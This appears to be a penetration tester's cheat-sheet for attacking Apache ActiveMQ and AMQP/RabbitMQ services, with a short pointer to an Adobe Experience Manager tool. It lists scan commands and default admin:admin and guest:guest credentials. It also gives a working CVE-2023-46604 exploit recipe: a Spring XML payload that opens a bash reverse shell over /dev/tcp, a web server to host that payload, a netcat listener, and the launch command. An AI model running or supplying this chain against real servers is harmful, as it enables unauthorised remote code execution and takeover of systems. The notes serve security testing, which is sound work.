ActiveMQ OpenWire Transport Pentest

 

#Commonly Observed on 
Ports - 32064, 32357, 61616l 

you will find it together with RMI (1099 Port) & a webserver (6161 - jetty)

Nmap Scan 

nmap -sV -Pn -n -T4 --script amqp-info -p 61616 10.10.10.10

Web server -- http://10.10.10.10:8161/admin -> default creds- admin:admin

#Query the server 
curl -d 'body="Hello World"' "http://10.10.10.10:8161/demo/message/test?type=queue&clientId=consumerA" 

curl -u admin:admin -d "body=message" http://localhost:8161/api/message/TEST?type=queue

Connecting to ActiveMQ (Might require creds)

#Download activemq from here
unzip filename

go to conf/activemq-cli.config --> and update the IP Address

broker {
        local {
            amqurl = "tcp://10.10.10.10:32064"
                jmxurl = "service:jmx:rmi:///jndi/rmi://10.10.10.10:1099/jmxrmi"
                username = ""
                password = ""
                prompt-color = "light-blue" // Possible values: "gray", "red", "light-red", "light-green", "green", "light-yellow", "yellow", "light-blue", "blue", "light-purple", "purple", "$
        }
}  

/bin/activemq
> connect --broker local
> send-message --body local --queue SendQueue
> queues
> list-messages -queue SendQueue

ActiveMQ Exploit - CVE-2023-46604 

git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ.git

#Update poc-linux.xml as below 
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>bash</value>
            <value>-c</value>
            <!-- The command below downloads the file and saves it as test.elf -->
            <value>bash -i &#x3E;&#x26; /dev/tcp/10.10.10.10/9001 0&#x3E;&#x26;1</value>
        </list>
        </constructor-arg>
    </bean>
</beans>


#Start a python web server 
python3 -m http.server 8001

#Start nc, get you rev shell here
nc -nvlp 9001

#Run the exploit 
go run main.go -i Target_ServerIP -u http://Attacher_host:8001/poc-linux.xml 

AMQP/ ActiveMQ  - 5671, 5672/tcp


Rabbitmq uses these ports - More Info Here

git clone https://github.com/QKaiser/cottontail 
pip3 install . 
python3 setup.py install 

cottontail 
or
cottontail/bin/cottontail -h

python3 cottontail --username guest --password guest -v https://10.10.10.10

AEM - Adobe Experience Manager

https://github.com/bl4de/security-tools/blob/master/aem-explorer.py